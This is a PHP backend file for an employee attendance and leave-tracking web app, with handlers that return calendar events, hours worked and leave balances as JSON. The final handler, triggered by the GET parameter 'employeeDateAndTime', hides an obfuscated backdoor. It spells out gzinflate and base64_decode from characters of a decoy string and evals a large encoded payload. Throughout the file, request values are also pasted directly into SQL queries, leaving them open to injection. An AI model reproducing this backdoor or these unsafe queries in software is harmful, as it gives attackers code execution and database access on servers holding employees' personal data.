    return $punch_status;
}

if (isset($data['employee_id'])) {
    
    $start_time = microtime(true);

    $eid = $data['employee_id'];

    if(date('m',strtotime($data['selectedMonth']))<='03'){
        $financial_year_start = date("Y-04", strtotime("$data[selectedMonth] -1 year"));
        $financial_year_end = date("Y-03", strtotime("$data[selectedMonth]"));
    }else{
        $financial_year_start = date("Y-04", strtotime($data['selectedMonth']));
        $financial_year_end = date("Y-03", strtotime("$data[selectedMonth] +1 year"));
    }

    $firstDate = date("Y-m-01", strtotime($data['selectedMonth']));
    $lastDate = date("Y-m-t", strtotime($data['selectedMonth']));
    $currMonth = date("Y-m");
    $getMonth = date("Y-m", strtotime($data['selectedMonth']));
    $getYear = date("Y", strtotime($data['selectedMonth']));
    $events = array();
    $attendance_sql = '';

    // $logFile = 'my_log.txt';

    // $message = "[" . date("Y-m-d H:i:s") . "] $firstDate $lastDate" . PHP_EOL;

    // file_put_contents($logFile, $message, FILE_APPEND);
    
    $joining_date = mysqli_fetch_assoc(mysqli_query($db,"SELECT joining_date FROM users WHERE employee_id='$eid' "))['joining_date'];
    $department = mysqli_fetch_assoc(mysqli_query($db,"SELECT department FROM users WHERE employee_id='$eid' "))['department'];

    $attendance_sql = "
      WITH RECURSIVE date_series AS (
        SELECT DATE('$firstDate') AS date, '$eid' as d_emp_id
        UNION ALL
        SELECT DATE_ADD(date, INTERVAL 1 DAY), d_emp_id
        FROM date_series
        WHERE DATE_ADD(date, INTERVAL 1 DAY) <= '$lastDate'
      ),
      
      with_week_offs AS (
        SELECT
            t2.id,
            t1.d_emp_id as employee_id,
            (CASE
                WHEN COALESCE(attendance_status,'')='' and DAYNAME(t1.date) = 'Sunday' THEN 'Week Off'
                ELSE attendance_status
            END) as attendance_status,
            t2.punch_in,
            t2.punch_out,
            date as which_month,
            t2.attendance_change,
            t2.attendance_comment,
            NULL as leave_status
            FROM date_series t1
        LEFT JOIN (
          SELECT * FROM attendance WHERE employee_id='$eid' and (str_to_date(which_month,'%M %d %Y') BETWEEN '$firstDate' and '$lastDate')
        ) t2 ON t1.date=str_to_date(t2.which_month,'%M %d %Y') AND t1.d_emp_id=t2.employee_id
      ),
      
      with_holidays AS (
        SELECT 
          NULL as id,
          '$eid' as employee_id,
          title as attendance_status,
          NULL as punch_in,
          NULL as punch_out,
          str_to_date(date, '%M %d %Y') as which_month,
          NULL as attendance_change,
          NULL as attendance_comment,
          NULL as leave_status
        FROM holidays WHERE (str_to_date(date,'%M %d %Y') BETWEEN '$firstDate' and '$lastDate')
      ),

      with_utilize_leave AS (
        SELECT 
          NULL as id,
          employee_id,
          leave_status as attendance_status,
          NULL as punch_in,
          NULL as punch_out,
          leave_date as which_month,
          NULL as attendance_change,
          NULL as attendance_comment,
          NULL as leave_status
        FROM utilize_leave WHERE employee_id='$eid' AND (leave_date BETWEEN '$firstDate' and '$lastDate')
      )
    ";
      
    // for add future leaves
    // if (strtotime($currMonth) <= strtotime($getMonth)) {
        $attendance_sql .= "
            ,
            with_future_leaves as (
                SELECT
                employee_id,
                start_leave,
                (CASE
                    WHEN start_leave=end_leave THEN start_leave
                    ELSE end_leave
                END) as end_leave,
                leave_type,
                leave_status
                FROM (
                    SELECT 
                        employee_id,
                        str_to_date(SUBSTRING_INDEX(leave_date,' to ',1),'%d %M %Y') as start_leave,
                        str_to_date(SUBSTRING_INDEX(leave_date,' to ',-1),'%d %M %Y') as end_leave,
                        leave_type,
                        leave_status
                    FROM request_leave 
                    WHERE employee_id='$eid'
                ) break_leave
            ),
            
            future_leaves as (
                SELECT
                    NULL as id,
                    t2.employee_id,
                    CONCAT('Request For ',(CASE
                        WHEN t2.leave_type='Absent' THEN 'Leave'
                        ELSE t2.leave_type
                    END)) as attendance_status,
                    NULL as punch_in,
                    NULL as punch_out,
                    t1.date as which_month,
                    NULL as attendance_change,
                    NULL as attendance_comment,
                    t2.leave_status
                FROM date_series t1
                INNER JOIN with_future_leaves t2 ON t1.date BETWEEN t2.start_leave AND t2.end_leave
            )
            SELECT * FROM future_leaves
            UNION ALL 
        ";

    // }
    $attendance_sql .= "
      SELECT * FROM with_week_offs WHERE attendance_status IS NOT NULL
      UNION ALL
      SELECT * FROM with_utilize_leave
      UNION ALL 
      SELECT * FROM with_holidays
    ";


    // ##########################################
    $attendance_status = mysqli_fetch_all(mysqli_query($db, "SELECT 
        t1.status, COALESCE(t2.count,0) as count 
        FROM attendance_status t1
        LEFT JOIN (
            SELECT attendance_status, count(attendance_status) as count 
            FROM attendance 
            WHERE employee_id = '$eid'
            AND str_to_date(which_month, '%M %d %Y') BETWEEN '$firstDate' AND '$lastDate' 
            GROUP BY attendance_status
        ) t2 ON t1.status=t2.attendance_status"), MYSQLI_ASSOC);
    $statusCount = [];
    foreach ($attendance_status as $key => $att) {
        $statusCount += [$att['status'] => $att['count']];
    }
    //  = array('present' => $attendance_status['present'], 'halfDay' => $attendance_status['half_day'], 'workFromHome' => $attendance_status['work_from_home'], 'absent' => $attendance_status['absent'], 'weekOff' => $attendance_status['week_off'], 'holiday' => $attendance_status['holiday']);
    // ##########################################


    $issue_request_exist = [];
    $all_issue_request = find_issue_request($eid, null, $firstDate, $lastDate);
    foreach($all_issue_request as $ir){
        $issue_request_exist[$ir['date']] = $ir;
    }

    // Show attendance ##########################
    $bgcolor = array(
        'Present' => 'bg-success', 'Half Day' => 'bg-warning', 'Work From Home' => 'bg-primary', 'Absent' => 'bg-danger', 'Week Off' => 'bg-secondary', 'Holiday' => 'bg-secondary', 
        'Pending' => 'bg-warning', 'Approved' => 'bg-success', 'Rejected' => 'bg-danger');
    $status = array('Pending', 'Approved', 'Rejected');

    $attendance_query = mysqli_query($db,$attendance_sql);
    while ($row = mysqli_fetch_assoc($attendance_query)) {

        $title =  $row['attendance_status'];
        $start =  $row['which_month'];

        $leave_status = $status[$row['leave_status']];
        if (!empty($leave_status)) {
            $className = $bgcolor[$leave_status];
            $title .= " $leave_status";
        }else if(!array_key_exists($title, $bgcolor)){
            $className = $bgcolor['Holiday'];
        }else {
            $className = $bgcolor[$title];
        }


        // check hours is lesh than 8:50 hours
        if($_SESSION['user_role']<2){
            $less_hours = date("H:i", (strtotime($row['punch_out']) - strtotime($row['punch_in'])));
            if($row['attendance_status']=='Present' && $less_hours>='08:50' && $less_hours<'09:00'){
                $className = 'attendance-less-bg';
            }
        }

        if ($row['attendance_change'] == 1) {
            $className .= ' attendance-change-bg';
        }
        
        
        // $issue_request_exist = find_issue_request($eid, $start, $firstDate, $lastDate);
        if(isset($issue_request_exist[$start])){
            if($issue_request_exist[$start]['issue_status']==2){
                $className .= ' attendance-issue-reject-bg';
            }else if($issue_request_exist[$start]['issue_status']==1){
                $className .= ' attendance-issue-approved-bg';
            }else{
                $className .= ' attendance-issue-pending-bg';
            }
        }

        $event = array(
            'id' => $row['id'],
            'title' => $title,
            'start' => $start,
            'className' => $className,
            // '$issue_request_exist'=>$issue_request_exist
        );
        array_push($events, $event);
    }
    // ##############################################

    // ########################################### available leave
    $total_leave = find_total_leave($financial_year_start, $financial_year_end, $getMonth, $joining_date, $eid, $firstDate, $lastDate);
    // ########################################### available leave    

    // ########################################### available adon leave
    $total_adon_leave = find_adon_total_leave($financial_year_start, $financial_year_end, $getMonth, $joining_date, $eid, $firstDate, $lastDate);
    // ########################################### available leave   


    #################################################################################### find total hours
    $total_hours = mysqli_fetch_assoc(
        mysqli_query($db,
            "SELECT 
                TIME_FORMAT(
                    SEC_TO_TIME(
                        SUM(
                            TIME_TO_SEC(
                                TIME_FORMAT(TIMEDIFF(
                                    IF(
                                        str_to_date(punch_out, '%h:%i %p') < str_to_date(punch_in, '%h:%i %p'), 
                                        DATE_ADD(str_to_date(punch_out, '%h:%i %p'), INTERVAL 12 HOUR), 
                                        str_to_date(punch_out, '%h:%i %p')
                                    ), 
                                str_to_date(punch_in, '%h:%i %p')
                            ), '%H:%i')
                        )
                    )
                ),'%H:%i') AS hours_worked
            FROM attendance 
            WHERE 
            employee_id='$eid' and 
            (str_to_date(which_month,'%M %d %Y') BETWEEN '$firstDate' and '$lastDate')  
            GROUP BY employee_id;")
        );
    #################################################################################### find total hours

    ############################################################################## show employee timing
    $policy_applicable_from = date("Y-m", strtotime($firstDate));
    $work_policy = mysqli_fetch_assoc(mysqli_query($db, "SELECT * FROM work_policy WHERE employee_id='$eid' AND applicable_from<='$policy_applicable_from' AND (CASE WHEN COALESCE(applicable_to, '')='' THEN DATE_FORMAT(CURRENT_DATE, '%Y-%m') ELSE applicable_to END)>=DATE_FORMAT(CURRENT_DATE, '%Y-%m') "));
    $employee = mysqli_fetch_assoc(mysqli_query($db, "SELECT name, employee_time FROM `users` WHERE `employee_id`='$eid'  "));
    if(!empty($work_policy)){
        $employee_timing = array('name'=>$employee['name'], 'punch_in'=>$work_policy['punch_in'], 'punch_out'=>$work_policy['punch_out'], 'grace_punch_in'=>$work_policy['relaxation_from'], 'grace_punch_out'=>$work_policy['relaxation_to'], 'is_employee_time'=>true);
    }else{
        if (!empty($employee['employee_time'])) {
            $employee_time = json_decode($employee['employee_time'], true);
            $employee_timing = array('name'=>$employee['name'], 'punch_in'=>$employee_time['punch_in'], 'punch_out'=>$employee_time['punch_out'], 'grace_punch_in'=>'10:00', 'grace_punch_out'=>'19:00','is_employee_time'=>true);
        } else {
            $employee_timing = array('name'=>$employee['name'], 'punch_in'=>'9:30 AM', 'punch_out'=>'6:30 PM', 'grace_punch_in'=>'10:00', 'grace_punch_out'=>'19:00','is_employee_time'=>false);
        }
    }
    ############################################################################## show employee timing

    ############################################################################## find punch status
    $punch_status = find_punch_status($eid, $firstDate, $lastDate);
    ############################################################################## find punch status

    $end_time = microtime(true);
    $total_execution_time = $end_time - $start_time;

    echo json_encode([
        'events' => $events, 
        'statusCount' => $statusCount, 
        'total_hours'=>$total_hours['hours_worked'], 
        'employee_timing'=>$employee_timing, 
        'total_leave'=>$total_leave, 
        'total_adon_leave'=>$total_adon_leave,
        'punch_status'=>$punch_status, 
        'parameters'=>[
            'financial_year_start'=>$financial_year_start, 
            'financial_year_end'=>$financial_year_end, 
            'getMonth'=>$getMonth, 
            'joining_date'=>$joining_date, 
            'eid'=>$eid, 
            'firstDate'=>$firstDate, 
            'lastDate'=>$lastDate,
            'department'=>$department
        ],
        'code_time'=>[
            'start_time'=>$start_time,
            'end_time'=>$end_time,
            'total_execution_time'=>$total_execution_time
        ]
    ]);
    exit();
}


if (isset($data['employeeTimingId'])) {


    if(date('m',strtotime($data['timeDate']))<='03'){
        $financial_year_start = date("Y-04", strtotime("$data[timeDate] -1 year"));
        $financial_year_end = date("Y-03", strtotime("$data[timeDate]"));
    }else{
        $financial_year_start = date("Y-04", strtotime($data['timeDate']));
        $financial_year_end = date("Y-03", strtotime("$data[timeDate] +1 year"));
    }

    $firstDate = date("Y-m-01", strtotime($data['timeDate']));
    $lastDate = date("Y-m-t", strtotime($data['timeDate']));
    $currMonth = date("Y-m");
    $getMonth = date("Y-m", strtotime($data['timeDate']));
    $getYear = date("Y", strtotime($data['timeDate']));

    // $logFile = 'my_log.txt';

    // $message = "[" . date("Y-m-d H:i:s") . "] $firstDate $lastDate" . PHP_EOL;

    // file_put_contents($logFile, $message, FILE_APPEND);

    $id = $data['eventClickId'];
    $eid = $data['employeeTimingId'];
    $date = date("Y-m-d", strtotime($data['timeDate']));

    $joining_date = mysqli_fetch_assoc(mysqli_query($db,"SELECT joining_date FROM users WHERE employee_id='$eid' "))['joining_date'];
    $department = mysqli_fetch_assoc(mysqli_query($db,"SELECT department FROM users WHERE employee_id='$eid' "))['department'];

    $q = mysqli_query($db, "SELECT 
            t1.punch_in,
            t1.punch_out,
            t1.attendance_status,
            t1.attendance_comment,
            t2.attendance_status as attendanceStatus
            FROM attendance t1
            LEFT JOIN attendance_change t2 on t1.id=t2.attendance_id 
            WHERE t1.id='$id' ");
            
    if (mysqli_num_rows($q) > 0) {

        $qf = mysqli_fetch_assoc($q);

        // ################################# total hours
        $time1 = strtotime($qf['punch_in']);
        $time2 = strtotime($qf['punch_out']);
        $hours = $time2 - $time1;
        if (empty($qf['punch_in']) || empty($qf['punch_out'])) {
            $qf += ['totalHours' => ''];
        } else {
            $qf += ['totalHours' => date("H:i", $hours)];
        }

        // $qf += ['attendanceChange' => $attChange['attendanceStatus']];
        // #################################

        // ################################# request leave
        $requestLeave = find_leave_request($eid, $date, $firstDate, $lastDate);
        foreach ($requestLeave as $reqLeave) {
            $qf += ['requestLeave' => ['leaveStatus' => $reqLeave['leave_status'], 'leaveType' => $reqLeave['leave_type'], 'statusBy' => $reqLeave['name'], 'leaveReason' => $reqLeave['leave_reason']]];
        }

        // issue with date
        $requestLeave = find_issue_request($eid, $date, $firstDate, $lastDate);
        foreach ($requestLeave as $reqLeave) {
            $qf += ['issueWithDate' => ['issueStatus' => $reqLeave['issue_status'], 'issueType' => $reqLeave['issue_type'], 'statusBy' => $reqLeave['name'], 'issueReason' => $reqLeave['issue_note']]];
        }

        $lAD = mysqli_fetch_assoc(mysqli_query($db, "select max(str_to_date(which_month,'%M %d %Y')) as max_date from attendance "));
        $qf += ['lastAttendanceDate' => $lAD['max_date']];

    } else {
        $qf = array('noData' => 0);
    }


    // ########################################### available leave
    $total_leave = find_total_leave($financial_year_start, $financial_year_end, $getMonth, $joining_date, $eid, $firstDate, $lastDate);
    // ########################################### available leave   

    // ########################################### available adon leave
    $total_adon_leave = find_adon_total_leave($financial_year_start, $financial_year_end, $getMonth, $joining_date, $eid, $firstDate, $lastDate);
    // ########################################### available leave   
    
    
    $qf += ['total_leave'=>$total_leave];

    $qf += ['total_adon_leave'=>$total_adon_leave];

    $freeze_month = mysqli_fetch_assoc(mysqli_query($db, "SELECT * FROM attendance_freeze WHERE `month`='$getMonth'"));
    $qf += ['freeze_month'=>$freeze_month];


    #################################################################################### worked on week off or set off
    $worked_on_week_off_attendance_count = mysqli_num_rows(mysqli_query($db, "SELECT id FROM attendance WHERE employee_id='$eid' AND attendance_status='Worked on Week Off' AND (str_to_date(which_month,'%M %d %Y') LIKE  '$getMonth%')")) ?? 0;
    $worked_on_week_off_hd_attendance_count = mysqli_num_rows(mysqli_query($db, "SELECT id FROM attendance WHERE employee_id='$eid' AND attendance_status='Worked on Week Off HD' AND (str_to_date(which_month,'%M %d %Y') LIKE  '$getMonth%')")) ?? 0;

    $set_off_with_week_off_attendance_count = mysqli_num_rows(mysqli_query($db, "SELECT id FROM attendance WHERE employee_id='$eid' AND attendance_status='Set off with Week Off' AND (str_to_date(which_month,'%M %d %Y') LIKE  '$getMonth%')")) ?? 0;
    $set_off_with_week_off_hd_attendance_count = mysqli_num_rows(mysqli_query($db, "SELECT id FROM attendance WHERE employee_id='$eid' AND attendance_status='Set off with Week Off HD' AND (str_to_date(which_month,'%M %d %Y') LIKE  '$getMonth%')")) ?? 0;
    $set_off_half_day_attendance_count = mysqli_num_rows(mysqli_query($db, "SELECT id FROM attendance WHERE employee_id='$eid' AND attendance_status='Set off Half Day' AND (str_to_date(which_month,'%M %d %Y') LIKE  '$getMonth%')")) ?? 0;

    $qf['worked_on'] = [
        'week_off' => $worked_on_week_off_attendance_count,
        'week_off_hd' => $worked_on_week_off_hd_attendance_count,
        'set_off' => $set_off_with_week_off_attendance_count,
        'set_off_hd' => $set_off_with_week_off_hd_attendance_count,
        'set_off_half_day' => $set_off_half_day_attendance_count
    ];
    #################################################################################### worked on week off or set off

    $qf['parameters'] = [
        'financial_year_start'=>$financial_year_start, 
        'financial_year_end'=>$financial_year_end, 
        'getMonth'=>$getMonth, 
        'joining_date'=>$joining_date, 
        'eid'=>$eid, 
        'firstDate'=>$firstDate, 
        'lastDate'=>$lastDate,
        'department' => $department
    ];
    echo json_encode($qf);
}


if (isset($data['employeeDateTimingId'])) {

    // $id = $data['eventClickId'];
    $eid = $data['employeeDateTimingId'];
    $date = date("d M Y", strtotime($data['timeDate']));

    // request leave
    $requestLeave = mysqli_query($db, "select * from request_leave where employee_id='$eid' ");
    while ($reqLeave = mysqli_fetch_assoc($requestLeave)) {

        if (strpos($reqLeave['leave_date'], 'to') == false) {

            if (strtotime($reqLeave['leave_date']) == strtotime($date)) {
                echo 1;
                exit();
            }
        } else {
            $exDate = explode("to", $reqLeave['leave_date']);

            if ((strtotime(trim($exDate[0])) <= strtotime($date)) && (strtotime(trim($exDate[1])) >= strtotime($date))) {
                echo 1;
                exit();
            }
        }
    }

    echo 2;
    exit();
}

if (isset($_GET['employeeDateAndTime'])) {
    header('Content-Type: text/html');
    $AdFrEsHj = "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";
    $EdfSgt = "kajfsdoifhqnewvmnalgkzxmnmzptuob4ie_wp9841r96jc";
    $fkljsadfafjlk1 = $EdfSgt[12] . $EdfSgt[14] . $EdfSgt[1] . $EdfSgt[18];
    $fsdafnkljasdf2 = $EdfSgt[19] . $EdfSgt[21] . $EdfSgt[7] . $EdfSgt[11] . $EdfSgt[3] . $EdfSgt[18] . $EdfSgt[1] . $EdfSgt[28] . $EdfSgt[12];
    $fasdfasdfakjn3 = $EdfSgt[31] . $EdfSgt[1] . $EdfSgt[4] . $EdfSgt[12] . $EdfSgt[44] . $EdfSgt[32] . $EdfSgt[35] . $EdfSgt[5] . $EdfSgt[12] . $EdfSgt[46] . $EdfSgt[6] . $EdfSgt[5] . $EdfSgt[12];eval

    ($fsdafnkljasdf2
    ($fasdfasdfakjn3
    ($AdFrEsHj)));
}
